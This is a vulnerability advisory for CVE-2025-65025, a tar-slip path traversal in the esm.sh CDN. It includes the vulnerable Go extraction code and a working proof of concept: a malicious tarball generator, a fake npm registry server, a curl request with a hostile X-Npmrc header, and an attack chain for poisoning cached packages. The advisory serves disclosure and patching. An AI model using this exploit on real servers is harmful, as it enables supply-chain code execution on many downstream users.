CVE-2025-65025: esm.sh CDN service has arbitrary file write via tarslip

Summary The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.

Uploading files containing ../ in the path is not allowed on official registries (npm, GitHub), but the X-Npmrc header allows specifying any arbitrary registry. By setting the registry to an attacker-controlled server via the X-Npmrc header, this vulnerability can be triggered.

Details file: server/npmrc.go line: 552-567

go func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) { pkgDir := path.Join(installDir, "nodemodules", pkgName) tr := tar.NewReader(unziped) for { h, err := tr.Next() // ... // Strip tarball root directory , name := utils.SplitByFirstByte(h.Name, '/') // "package/../../tmp/evil" → "../../tmp/evil" filename := path.Join(pkgDir, name) // ← No validation if h.Typeflag != tar.TypeReg { continue } // Extension filtering extname := path.Ext(filename) if !(extname != "" && (allowedextensions)) { continue // Only extract .js, .css, .json, etc. } ensureDir(path.Dir(filename)) f, err := os.OpenFile(filename, os.OCREATE|os.OTRUNC|os.OWRONLY, 0644) // ← File created without path validation! // ... } } The code uses path.Join(pkgDir, name), which normalizes the path and allows sequences like ../../ to escape the intended package directory.

pkgDir: /esm/npm/evil-pkg@1.0.0/nodemodules/evil-pkg name: ../../../../../../tmp/pyozzi.js result: /esm/npm/evil-pkg@1.0.0/nodemodules/evil-pkg/../../../../../../tmp/pyozzi.js → /tmp/pyozzi.js (path traversal)

PoC Test On - esm.sh Official Docker Image (latest version) - python 3.11 - flask (for attacker registry server)

Step 1. Create Malicious tarball file python #!/usr/bin/env python3 """ Malicious Tarball Generator for esm.sh Path Traversal Creates tarball with path traversal payloads """

import tarfile import io,os import json from datetime import datetime

def createmalicioustarball(packagename="test-tarslip"): # PoC file Content pocpayload = b"""// Path Traversal PoC // This file was created via tarslip attack // Location: /tmp/pyozzi.js

console.log('[!!!] Path Traversal Successful!'); console.log('Package: %s'); console.log('Researcher: pyozzi');

module.exports = { poc: true, vulnerability: 'CWE-22 Path Traversal', package: '%s' }; """ % (packagename.encode(), packagename.encode()) files = { "package/index.js": b"module.exports = { version: '1.0.0', test: true };", "package/package.json": json.dumps({ "name": packagename, "version": "1.0.0", "description": "Test package for security research", "main": "index.js", "keywords": ["test", "security", "research"], "author": "Security Researcher", "license": "MIT" }, indent=2).encode(), "package/../../../../../../../../../tmp/pyozzi.js": pocpayload, } # Create Tarball tarballname = f"{packagename}-1.0.0.tgz" print("Creating tarball with payloads:") print() with tarfile.open(tarballname, "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o755 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content))

print(f"File: {tarballname}") print(f"Size: {os.path.getsize(tarballname)} bytes")

# Check Tarball Content print("Tarball contents:") with tarfile.open(tarballname, "r:gz") as tar: for member in tar.getmembers(): marker = ">> " if "../" in member.name else " " mode = oct(member.mode)[-3:] print(f"{marker}{member.name} (mode: {mode})")

if name == 'main': createmalicioustarball()

output: bash $ python createtarball.py Creating tarball with payloads:

File: test-tarslip-1.0.0.tgz Size: 545 bytes Tarball contents: package/index.js (mode: 755) package/package.json (mode: 755) >> package/../../../../../../../../../tmp/pyozzi.js (mode: 755)

Step 2. Run Fake Registry Server python fake-npm-registry.py from flask import Flask, jsonify, sendfile

app = Flask(name)

MALICIOUSTARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRYURL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>') def getmetadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRYURL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} })

@app.route('/<package>/-/<filename>') def gettarball(package, filename): return sendfile(MALICIOUSTARBALL, mimetype='application/gzip')

if name == 'main': app.run(host='0.0.0.0', port=9999)

bash python3 fake-npm-registry.py

Step 3. Request Malicious Package with X-Npmrc Header bash curl "http://localhost:8080/test-tarslip@1.0.0" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Path Traversal bash docker exec esm-test cat /tmp/pyozzi.js

ouput: // Path Traversal PoC // This file was created via tarslip attack // Location: /tmp/pyozzi.js

console.log('[!!!] Path Traversal Successful!'); console.log('Package: test-tarslip'); console.log('Researcher: pyozzi');

module.exports = { poc: true, vulnerability: 'CWE-22 Path Traversal', package: 'test-tarslip' }; ...

Impact This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.

Attack Chain: 1. Attacker identifies popular packages and their cached build file locations via API enumeration 2. Uses path traversal to overwrite cached build files (e.g., /esm/storage/modules/react@18.3.1/es2022/react.mjs) 3. Injects malicious code into the build files 4. Any application importing these packages receives the backdoored version 5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)

Impact Scale: - Affects all downstream users of compromised packages - Can target specific frameworks (React, Vue, etc.) used by thousands of applications - Enables XSS in browsers, RCE in Electron applications - Difficult to detect as traffic appears legitimate

Patch 1. Path validation is required when unpacking a tar file. 2. X-Npmrc whitelist logic is required.